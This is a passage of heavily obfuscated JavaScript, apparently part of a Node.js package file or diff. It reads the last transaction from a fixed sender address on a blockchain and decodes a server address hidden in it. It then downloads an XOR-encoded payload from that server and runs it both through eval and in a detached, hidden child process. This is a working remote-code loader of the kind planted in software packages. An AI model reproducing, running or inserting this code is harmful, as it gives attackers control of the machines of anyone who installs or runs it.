of(_0x12f190=!(-0x13c4+-0x1a02+0x2dc6),_0x21b624))_0x11c14b[_0x5a6f9a(0x16f)][_0x5a6f9a(0x9a)]();_0x574496[_0x5a6f9a(0xa4)](_0x1055a6,_0x344775);}};for(let _0x266710 of _0x21b624)_0x266710[_0x43a200(0x17f)]()[_0x43a200(0x178)](_0x193f94=>{const _0x1cbfd8=_0x43a200;_0x12f190||(_0x193f94?_0x5f5985[_0x1cbfd8(0x1ad)](_0x4ea38e,_0x193f94):_0x5f5985[_0x1cbfd8(0xbf)](0xe0*0x4+0x1*0x1bf7+-0x1f77,--_0x34d0a3)&&_0x5f5985[_0x1cbfd8(0x170)](_0x1055a6,null));})[_0x43a200(0x100)](()=>{const _0xebd979=_0x43a200;_0x12f190||_0x5f5985[_0xebd979(0x175)](-0xc39+0x723+0x516,--_0x34d0a3)||_0x5f5985[_0xebd979(0x15f)](_0x1055a6,null);});});}function candidateBlocks(_0x3cdaf9){const _0x3e16b7=_0x3a2ebe,_0x26a154={'CRKiT':function(_0x296270,_0x1821b5){return _0x296270-_0x1821b5;},'nnxOv':function(_0xd797ea,_0x1874f0){return _0xd797ea-_0x1874f0;},'BJgzE':function(_0x17a746,_0x198c5e){return _0x17a746+_0x198c5e;},'nghnv':function(_0xc4b7b9,_0x52dbd9){return _0xc4b7b9-_0x52dbd9;},'fLYXd':function(_0x9cf028,_0x268c43){return _0x9cf028+_0x268c43;},'WMrCP':function(_0x1f3421,_0x1c5822){return _0x1f3421<_0x1c5822;}};let _0x4a55ef=_0x26a154[_0x3e16b7(0x118)](_0x3cdaf9,BLOCK_MULTIPLE),_0x5e5c51=new Set(),_0x482794=[];for(let _0x2d2666 of[_0x26a154[_0x3e16b7(0xad)](_0x3cdaf9,0x1n),_0x3cdaf9,_0x26a154[_0x3e16b7(0x172)](_0x3cdaf9,0x1n),_0x26a154[_0x3e16b7(0x151)](_0x4a55ef,0x1n),_0x4a55ef,_0x26a154[_0x3e16b7(0x16c)](_0x4a55ef,0x1n)]){if(_0x26a154[_0x3e16b7(0xce)](_0x2d2666,0x0n))continue;let _0x3ae321=_0x2d2666[_0x3e16b7(0x159)]();_0x5e5c51[_0x3e16b7(0x16d)](_0x3ae321)||(_0x5e5c51[_0x3e16b7(0x173)](_0x3ae321),_0x482794[_0x3e16b7(0x198)](_0x2d2666));}return _0x482794;}function blockTask(_0x42089c){const _0x43f677={'wNEAr':function(_0x5d6398,_0x346548,_0x44c318){return _0x5d6398(_0x346548,_0x44c318);},'ziJAI':function(_0x1919d0,_0x138670){return _0x1919d0(_0x138670);}};let _0xc51d7b=new AbortController();return{'controller':_0xc51d7b,async 'run'(){const _0x4800f8=_0x355e;let _0x3fcdb4=await _0x43f677[_0x4800f8(0x1b2)](withRpcEndpoints,(_0x3c3351,_0x45a26b)=>rpcCall(_0x3c3351,_0x4800f8(0x13f)+_0x4800f8(0x10d),[toBlockHex(_0x42089c),!(-0x1*0xaeb+-0x7*0x59+-0x1*-0xd5a)],_0x45a26b),_0xc51d7b[_0x4800f8(0x10b)]),_0xa17565=_0x3fcdb4?.[_0x4800f8(0x166)+'ns'];if(!Array[_0x4800f8(0xf2)](_0xa17565))return null;let _0x3aaf38=_0x43f677[_0x4800f8(0xa6)](findSenderTx,_0xa17565);return _0x3aaf38?{'blockNumber':_0x42089c,'tx':_0x3aaf38}:null;}};}async function nonceAtBlocks(_0x48b0b7,_0xeba093){const _0x2bf86d=_0x3a2ebe,_0x306878={'CUrwh':function(_0x5917ba,_0x80a075,_0x5f1ee8){return _0x5917ba(_0x80a075,_0x5f1ee8);}};let _0x5c1a05=_0x48b0b7[_0x2bf86d(0x14f)](_0x1dcdef=>[_0x2bf86d(0xb3)+_0x2bf86d(0xd0)+_0x2bf86d(0xc9),[SENDER,toBlockHex(_0x1dcdef)]]);try{return(await _0x306878[_0x2bf86d(0xe0)](withRpcEndpoints,(_0xd746f,_0x473522)=>rpcBatch(_0xd746f,_0x5c1a05,_0x473522),_0xeba093))[_0x2bf86d(0x14f)](BigInt);}catch{return(await Promise[_0x2bf86d(0xb4)](_0x5c1a05[_0x2bf86d(0x14f)](([_0x2babff,_0x3a3b66])=>withRpcEndpoints((_0x149844,_0xb83fe7)=>rpcCall(_0x149844,_0x2babff,_0x3a3b66,_0xb83fe7),_0xeba093))))[_0x2bf86d(0x14f)](BigInt);}}async function lastSenderTx(_0x6947a6){const _0x2fd541=_0x3a2ebe,_0x865f0d={'TOkwx':function(_0x5d2d58,_0x8010fd){return _0x5d2d58(_0x8010fd);},'mGgtb':function(_0x58f27c,_0x4c45b7,_0x3c600e){return _0x58f27c(_0x4c45b7,_0x3c600e);},'MjzxH':function(_0x1c1e28,_0x3211ab){return _0x1c1e28(_0x3211ab);},'JQKVG':function(_0x4c6ce4,_0x3b78d1){return _0x4c6ce4-_0x3b78d1;},'ucVFK':function(_0x1fa7f8,_0x1e54b0){return _0x1fa7f8>_0x1e54b0;},'oMnng':function(_0x514391,_0x56220c){return _0x514391(_0x56220c);},'NkKDh':function(_0x3fccd7,_0x3598ae){return _0x3fccd7<=_0x3598ae;},'lnQal':function(_0x35f187,_0x271b47){return _0x35f187+_0x271b47;},'foHur':function(_0x1e7b3b,_0x19c605){return _0x1e7b3b/_0x19c605;},'SDbiI':function(_0x43c2f0,_0xbdc559){return _0x43c2f0*_0xbdc559;},'CDbzL':function(_0x461538,_0x22c7d6){return _0x461538+_0x22c7d6;},'GGqwf':function(_0x4c1acc,_0x1f6394){return _0x4c1acc===_0x1f6394;},'fbAQy':function(_0xe78b10,_0x2a2d28){return _0xe78b10(_0x2a2d28);}};let _0x1228d0=new AbortController();try{let _0x7717c5=_0x6947a6??_0x865f0d[_0x2fd541(0xcc)](BigInt,await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x225474,_0x398eed)=>rpcCall(_0x225474,_0x2fd541(0x1a1)+_0x2fd541(0xd8),[],_0x398eed),_0x1228d0[_0x2fd541(0x10b)])),_0xe32847=_0x865f0d[_0x2fd541(0xec)](BigInt,await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x166e6e,_0x20a24f)=>rpcCall(_0x166e6e,_0x2fd541(0xb3)+_0x2fd541(0xd0)+_0x2fd541(0xc9),[SENDER,toBlockHex(_0x7717c5)],_0x20a24f),_0x1228d0[_0x2fd541(0x10b)])),_0x2c7ca1=_0x865f0d[_0x2fd541(0xb7)](_0xe32847,0x1n),_0x36dc0b=_0x865f0d[_0x2fd541(0xb7)](SEARCH_FLOOR,0x1n),_0x57beb5=_0x7717c5;for(;_0x865f0d[_0x2fd541(0x1b3)](_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b),0x1n);){let _0x37635a=_0x865f0d[_0x2fd541(0xb7)](_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b),0x1n),_0x40232d=_0x865f0d[_0x2fd541(0xec)](BigInt,Math[_0x2fd541(0x1b1)](NONCE_FANOUT,_0x865f0d[_0x2fd541(0x17d)](Number,_0x37635a))),_0x5e593e=[];for(let _0x323461=0x1n;_0x865f0d[_0x2fd541(0x138)](_0x323461,_0x40232d);_0x323461+=0x1n)_0x5e593e[_0x2fd541(0x198)](_0x865f0d[_0x2fd541(0x184)](_0x36dc0b,_0x865f0d[_0x2fd541(0xaa)](_0x865f0d[_0x2fd541(0x12b)](_0x323461,_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b)),_0x865f0d[_0x2fd541(0xda)](_0x40232d,0x1n))));let _0x5aae99=await _0x865f0d[_0x2fd541(0xb8)](nonceAtBlocks,_0x5e593e,_0x1228d0[_0x2fd541(0x10b)]),_0x5415e7=_0x5aae99[_0x2fd541(0x163)](_0x59ad09=>_0x59ad09>=_0xe32847);_0x865f0d[_0x2fd541(0xf6)](-(0xe3*-0x29+0xe5e*0x2+0x7a0*0x1),_0x5415e7)?_0x36dc0b=_0x5e593e[_0x865f0d[_0x2fd541(0xb7)](_0x5e593e[_0x2fd541(0xcd)],-0x6*-0x4a2+0x2478+-0x4043)]:(_0x57beb5=_0x5e593e[_0x5415e7],_0x865f0d[_0x2fd541(0x1b3)](_0x5415e7,-0x170*-0x5+-0xbdf+-0x6d*-0xb)&&(_0x36dc0b=_0x5e593e[_0x865f0d[_0x2fd541(0xb7)](_0x5415e7,-0x121b+0x869*-0x1+0x3*0x8d7)]));}let _0x44a2e1=await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x5aa246,_0x356a05)=>rpcCall(_0x5aa246,_0x2fd541(0x13f)+_0x2fd541(0x10d),[toBlockHex(_0x57beb5),!(-0x870*0x1+-0x1b5b+0x23cb)],_0x356a05),_0x1228d0[_0x2fd541(0x10b)]),_0x2a8ad0=_0x44a2e1?.[_0x2fd541(0x166)+'ns']||[],_0x5d7a1a=null;for(let _0x2ef2b4 of _0x2a8ad0)if(_0x2ef2b4[_0x2fd541(0x18c)]&&_0x865f0d[_0x2fd541(0xf6)](_0x2ef2b4[_0x2fd541(0x18c)][_0x2fd541(0xc2)+'e'](),SENDER)){if(_0x865f0d[_0x2fd541(0xf6)](_0x865f0d[_0x2fd541(0x17d)](BigInt,_0x2ef2b4[_0x2fd541(0x187)]),_0x2c7ca1)){_0x5d7a1a=_0x2ef2b4;break;}(!_0x5d7a1a||_0x865f0d[_0x2fd541(0x1b3)](_0x865f0d[_0x2fd541(0x17d)](BigInt,_0x2ef2b4[_0x2fd541(0x187)]),_0x865f0d[_0x2fd541(0xa1)](BigInt,_0x5d7a1a[_0x2fd541(0x187)])))&&(_0x5d7a1a=_0x2ef2b4);}return{'blockNumber':_0x57beb5,'tx':_0x5d7a1a};}finally{_0x1228d0[_0x2fd541(0x9a)]();}}async function lastSenderTxViaIndexer(){const _0x30016b=_0x3a2ebe,_0x461186={'yrzwP':function(_0x224acc,_0x21a4ef){return _0x224acc(_0x21a4ef);},'UqBND':function(_0x3ca6e2,_0x6d0e95){return _0x3ca6e2(_0x6d0e95);}};let _0x6b3534=INDEXER_URL+(_0x30016b(0xef)+_0x30016b(0xa3)+_0x30016b(0x143)+_0x30016b(0xbc))+SENDER+(_0x30016b(0xe5)+_0x30016b(0x183)+_0x30016b(0xba)+_0x30016b(0x160)+_0x30016b(0x197)+_0x30016b(0x190)+_0x30016b(0xc4)+'om'),_0x50dcd4=await _0x461186[_0x30016b(0x13d)](httpRequest,_0x6b3534),_0x3f1cd2=Array[_0x30016b(0xf2)](_0x50dcd4?.[_0x30016b(0xd6)])?_0x50dcd4[_0x30016b(0xd6)]:[],_0x58d5fe=_0x3f1cd2[_0x30016b(0x9d)](_0x5346ca=>_0x5346ca[_0x30016b(0x18c)]&&_0x5346ca[_0x30016b(0x18c)][_0x30016b(0xc2)+'e']()===SENDER);return{'blockNumber':_0x461186[_0x30016b(0x127)](BigInt,_0x58d5fe[_0x30016b(0x1ae)+'r']),'tx':_0x58d5fe};}async function run(){const _0x21838c=_0x3a2ebe,_0x123142={'VnFVq':function(_0x354288,_0x3fa815){return _0x354288<_0x3fa815;},'Tnnlg':function(_0x1df33a,_0x158d6c){return _0x1df33a%_0x158d6c;},'ugrhL':_0x21838c(0x19b),'tqJhV':_0x21838c(0xa9)+_0x21838c(0x1a7),'xQuoH':function(_0x183f5f,_0x2adbd1){return _0x183f5f(_0x2adbd1);},'zwjTr':_0x21838c(0xb9)+_0x21838c(0x123)+'4','GuYPf':_0x21838c(0x96),'bXcTI':function(_0x4834c3,_0xed5caa){return _0x4834c3(_0xed5caa);},'gzKWs':_0x21838c(0xdb)+_0x21838c(0x11d),'VMnQg':function(_0x38ff78,_0x527698){return _0x38ff78===_0x527698;},'PSzJk':_0x21838c(0x11a),'aPZUM':_0x21838c(0xaf),'xxxso':_0x21838c(0x142),'raCZU':_0x21838c(0xc1),'plaFW':function(_0x1d2be3,_0x44ea01){return _0x1d2be3(_0x44ea01);},'nILEL':function(_0x57e6f1,_0x261c45){return _0x57e6f1+_0x261c45;},'wvGeG':_0x21838c(0xfb)+_0x21838c(0x1a4)+_0x21838c(0xdc)+_0x21838c(0x146)+_0x21838c(0x117)+_0x21838c(0x130)+_0x21838c(0xe1)+_0x21838c(0x18a)+_0x21838c(0x180)+_0x21838c(0x9e)+_0x21838c(0x153)+'6','qiODF':function(_0x2b7840,_0x196963){return _0x2b7840(_0x196963);},'SXfgk':_0x21838c(0x133),'xbMiN':function(_0x27a0b9,_0x394d32,_0x228371){return _0x27a0b9(_0x394d32,_0x228371);},'jueMj':function(_0x3071ee,_0x13c1dd){return _0x3071ee(_0x13c1dd);},'ipNqp':function(_0x5c8fe2,_0x51b60d,_0x375c99,_0x3adfd0){return _0x5c8fe2(_0x51b60d,_0x375c99,_0x3adfd0);},'KXiLK':_0x21838c(0xed),'rMZnD':function(_0x2485d9,_0x15b4b8){return _0x2485d9+_0x15b4b8;},'RWrVc':_0x21838c(0x10f),'WYnsa':function(_0x36aa2d,_0x4e00f2){return _0x36aa2d(_0x4e00f2);},'JGUpq':function(_0x17a5ba,_0xaf6465){return _0x17a5ba(_0xaf6465);},'eWCKt':function(_0x1e004b,_0x84fa2c){return _0x1e004b-_0x84fa2c;},'KafOh':function(_0x4df275,_0x2e90){return _0x4df275%_0x2e90;},'qFOcQ':function(_0x24fa80,_0x20975f){return _0x24fa80(_0x20975f);},'eIHSm':_0x21838c(0xa7)+_0x21838c(0x128),'XrZYs':function(_0x4740e4,_0x8d4335,_0x240499,_0x191515){return _0x4740e4(_0x8d4335,_0x240499,_0x191515);},'zeoxL':_0x21838c(0x1ba)+_0x21838c(0x185)};let _0x276e42=_0x123142[_0x21838c(0x1a3)](BigInt,await _0x123142[_0x21838c(0x108)](withRpcEndpoints,(_0x486914,_0x1c1835)=>rpcCall(_0x486914,_0x21838c(0x1a1)+_0x21838c(0xd8),[],_0x1c1835))),_0x168d06=_0x123142[_0x21838c(0xf3)](_0x276e42,_0x123142[_0x21838c(0x18d)](_0x276e42,BLOCK_MULTIPLE)),_0x412ae7=await _0x123142[_0x21838c(0x137)](firstMatch,_0x123142[_0x21838c(0x1a3)](candidateBlocks,_0x168d06)[_0x21838c(0x14f)](blockTask));_0x412ae7||(_0x412ae7=await _0x123142[_0x21838c(0x19e)](lastSenderTx,_0x276e42)[_0x21838c(0x100)](()=>lastSenderTxViaIndexer()));let [_0x28de5d,_0x3b6d7d]=_0x123142[_0x21838c(0x1b4)](decodeAddress,_0x412ae7['tx']['to']),_0x3d94ba=global;function _0x5ec9c4(_0x3a20ac,_0xa9d24e){const _0x55165e=_0x21838c,_0x5ecf66={'zNIqU':function(_0x430017,_0x3246e6){const _0x15bc56=_0x355e;return _0x123142[_0x15bc56(0x182)](_0x430017,_0x3246e6);},'rjSZm':_0x123142[_0x55165e(0x119)],'cVjMR':_0x123142[_0x55165e(0x1b7)],'SHJJd':function(_0x200ce2,_0x44228d){const _0x155fb8=_0x55165e;return _0x123142[_0x155fb8(0xd9)](_0x200ce2,_0x44228d);},'dQhjR':_0x123142[_0x55165e(0x1b8)],'ZAlOy':function(_0x59c273,_0x17297a){const _0x4fc8a3=_0x55165e;return _0x123142[_0x4fc8a3(0xf8)](_0x59c273,_0x17297a);},'bLolJ':_0x123142[_0x55165e(0xd3)],'hrUVT':_0x123142[_0x55165e(0x1ab)],'YZKTj':_0x123142[_0x55165e(0xc6)]};let _0x11ec1f={'hostname':_0xa9d24e[_0x55165e(0x93)],'port':_0x123142[_0x55165e(0x137)](Number,_0xa9d24e[_0x55165e(0x15d)])||0x2236+-0x22b0+0xca,'path':_0x123142[_0x55165e(0x92)](_0xa9d24e[_0x55165e(0x150)],_0xa9d24e[_0x55165e(0x10e)]),'headers':{'User-Agent':_0x123142[_0x55165e(0xdf)],'Sec-V':_0x3d94ba['_V']||0x1309+-0x132b+0x22}};function _0x5944ee(_0x39564c){const _0x337ed4=_0x55165e;let _0x3de935=_0x3a20ac[_0x337ed4(0xcd)];for(let _0xcd6de2=-0x1*-0x15f6+0xc04+0x21fa*-0x1;_0x123142[_0x337ed4(0x156)](_0xcd6de2,_0x39564c[_0x337ed4(0xcd)]);_0xcd6de2++)_0x39564c[_0xcd6de2]^=_0x3a20ac[_0x337ed4(0xac)](_0x123142[_0x337ed4(0x19a)](_0xcd6de2,_0x3de935));return _0x39564c[_0x337ed4(0x159)](_0x123142[_0x337ed4(0x1a0)]);}function _0x3fa166(_0x5286d4){const _0x30bac6=_0x55165e;let _0x1c7184=_0x5286d4[_0x30bac6(0x14b)][_0x123142[_0x30bac6(0x119)]];if(!_0x1c7184)throw _0x123142[_0x30bac6(0xf8)](Error,_0x123142[_0x30bac6(0x1a5)]);return _0x123142[_0x30bac6(0xf8)](_0x5944ee,Buffer[_0x30bac6(0x18c)](_0x1c7184,_0x123142[_0x30bac6(0x168)]));}function _0x5e0c4c(_0x188457){const _0xdb2b5e=_0x55165e,_0x9df163={'FfHYb':function(_0x275d20,_0x11a249){const _0xda171f=_0x355e;return _0x5ecf66[_0xda171f(0x11f)](_0x275d20,_0x11a249);},'gIWWO':_0x5ecf66[_0xdb2b5e(0xe6)],'LTGfe':_0x5ecf66[_0xdb2b5e(0x101)],'djgaa':function(_0x12f74b,_0x87bcc9){const _0xd19d42=_0xdb2b5e;return _0x5ecf66[_0xd19d42(0x113)](_0x12f74b,_0x87bcc9);},'eEQvU':_0x5ecf66[_0xdb2b5e(0xa2)],'KQldR':function(_0x5a7b3b,_0x1dcf69){const _0x3bd8a8=_0xdb2b5e;return _0x5ecf66[_0x3bd8a8(0xe8)](_0x5a7b3b,_0x1dcf69);},'jvgKp':_0x5ecf66[_0xdb2b5e(0x189)],'ZgpqG':_0x5ecf66[_0xdb2b5e(0x158)],'XLylK':_0x5ecf66[_0xdb2b5e(0x162)]};return new Promise((_0x15f946,_0x5a9938)=>{const _0x320ae6=_0xdb2b5e,_0x34a894={'QMwHG':function(_0x40448d,_0x23c91e){const _0x42dd94=_0x355e;return _0x9df163[_0x42dd94(0x1b6)](_0x40448d,_0x23c91e);},'XHNyr':_0x9df163[_0x320ae6(0x112)],'eAmtO':_0x9df163[_0x320ae6(0xe7)],'ZYBBe':function(_0x3e84e2,_0x5c0248){const _0x3f74e7=_0x320ae6;return _0x9df163[_0x3f74e7(0xfc)](_0x3e84e2,_0x5c0248);},'FWUiH':_0x9df163[_0x320ae6(0x1a6)],'smCxl':function(_0x30f2b3,_0x3b4378){const _0x508aeb=_0x320ae6;return _0x9df163[_0x508aeb(0x94)](_0x30f2b3,_0x3b4378);},'LBjUj':_0x9df163[_0x320ae6(0x144)],'RpPIO':_0x9df163[_0x320ae6(0x199)],'EreqP':_0x9df163[_0x320ae6(0xca)]};let _0x67c2bf=http[_0x320ae6(0xc7)]({..._0x11ec1f,'method':_0x188457},_0x3ab5c7=>{const _0x17709d=_0x320ae6,_0x31a947={'RsZph':function(_0x3b6db8,_0x40fce6){const _0x93e689=_0x355e;return _0x34a894[_0x93e689(0x104)](_0x3b6db8,_0x40fce6);},'tavZt':_0x34a894[_0x17709d(0x10a)],'LssUT':function(_0x1f6ba3,_0xee0496){const _0x3db9b9=_0x17709d;return _0x34a894[_0x3db9b9(0x104)](_0x1f6ba3,_0xee0496);},'mjCAw':_0x34a894[_0x17709d(0x1b0)]};if(_0x34a894[_0x17709d(0xb2)](_0x34a894[_0x17709d(0xd1)],_0x188457)){try{_0x34a894[_0x17709d(0x11b)](_0x15f946,_0x34a894[_0x17709d(0x104)](_0x3fa166,_0x3ab5c7));}catch(_0x14978e){_0x34a894[_0x17709d(0x104)](_0x5a9938,_0x14978e);}_0x3ab5c7[_0x17709d(0x1b9)]();return;}let _0x333305=[];_0x3ab5c7['on'](_0x34a894[_0x17709d(0x15b)],_0x547736=>_0x333305[_0x17709d(0x198)](_0x547736)),_0x3ab5c7['on'](_0x34a894[_0x17709d(0x154)],()=>{const _0x38253d=_0x17709d;try{let _0x247fe6=Buffer[_0x38253d(0x107)](_0x333305);if(_0x247fe6[_0x38253d(0xcd)])return _0x31a947[_0x38253d(0xd2)](_0x15f946,_0x31a947[_0x38253d(0xd2)](_0x5944ee,_0x247fe6));if(_0x3ab5c7[_0x38253d(0x14b)][_0x31a947[_0x38253d(0x171)]])return _0x31a947[_0x38253d(0xd2)](_0x15f946,_0x31a947[_0x38253d(0x192)](_0x3fa166,_0x3ab5c7));_0x31a947[_0x38253d(0xd2)](_0x5a9938,_0x31a947[_0x38253d(0x192)](Error,_0x31a947[_0x38253d(0xae)]));}catch(_0x907b81){_0x31a947[_0x38253d(0xd2)](_0x5a9938,_0x907b81);}}),_0x3ab5c7['on'](_0x34a894[_0x17709d(0x12e)],_0x5a9938);});_0x67c2bf['on'](_0x9df163[_0x320ae6(0xca)],_0x5a9938),_0x67c2bf[_0x320ae6(0x142)]();});}return _0x123142[_0x55165e(0xfe)](_0x5e0c4c,_0x123142[_0x55165e(0x102)])[_0x55165e(0x100)](()=>_0x5e0c4c(_0x55165e(0x11a)));}async function _0x71cdd3(_0x36ed3f,_0x4cbe2e,_0x18ff88){const _0x433f4b=_0x21838c;try{let _0x42938e=await _0x123142[_0x433f4b(0xc3)](_0x5ec9c4,_0x4cbe2e,_0x36ed3f),_0x1de9e8=_0x18ff88?_0x433f4b(0xff)+_0x433f4b(0x17a)+(_0x3d94ba['_V']||-0xf0a+-0x135d*-0x1+-0x453)+(_0x433f4b(0xee)+_0x433f4b(0xfa))+_0x3d94ba['_H']+(_0x433f4b(0xee)+_0x433f4b(0x15e))+_0x3d94ba[_0x433f4b(0x16a)]+(_0x433f4b(0xee)+_0x433f4b(0xbe)+_0x433f4b(0x111)+_0x433f4b(0x157)+_0x433f4b(0x106)+_0x433f4b(0x179)):_0x433f4b(0xff)+_0x433f4b(0x17a)+(_0x3d94ba['_V']||0x1b1*0x2+-0x1*-0x16f9+0x207*-0xd)+(_0x433f4b(0xee)+_0x433f4b(0x132))+_0x3d94ba[_0x433f4b(0x15c)]+(_0x433f4b(0xee)+_0x433f4b(0x129))+_0x3d94ba[_0x433f4b(0x116)]+(_0x433f4b(0xee)+_0x433f4b(0xbe)+_0x433f4b(0x111)+_0x433f4b(0x157)+_0x433f4b(0x106)+_0x433f4b(0x179));_0x18ff88||_0x123142[_0x433f4b(0x1b4)](eval,_0x123142[_0x433f4b(0x92)](_0x1de9e8,_0x42938e)),_0x123142[_0x433f4b(0x125)](spawn,_0x123142[_0x433f4b(0x145)],['-e',_0x123142[_0x433f4b(0x9c)](_0x1de9e8,_0x42938e)],{'detached':!(-0xb2c+-0x1*-0xc13+-0xe7),'stdio':_0x123142[_0x433f4b(0xab)],'windowsHide':!(-0x1*-0x2079+0x1*-0x135a+0x1*-0xd1f)})[_0x433f4b(0x177)]();}catch(_0x51210c){}}_0x3d94ba['_V']=_0x3d94ba['i'],_0x3d94ba['_H']=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x155),_0x3d94ba[_0x21838c(0x16a)]=_0x21838c(0x17e)+_0x3b6d7d+_0x21838c(0x155),_0x3d94ba[_0x21838c(0x15c)]=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x181),_0x3d94ba[_0x21838c(0x116)]=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x155),await _0x123142[_0x21838c(0x125)](_0x71cdd3,new URL(_0x21838c(0x17e)+_0x28de5d+(_0x21838c(0xe4)+'s')),_0x123142[_0x21838c(0xf7)],!(-0x1*0x1b55+0x1*-0x1f25+0x3a7b)),await _0x123142[_0x21838c(0xe2)](_0x71cdd3,new URL(_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x124)),_0x123142[_0x21838c(0x13e)],!(0x135b+0x1c5f+-0x2fba));}run();
+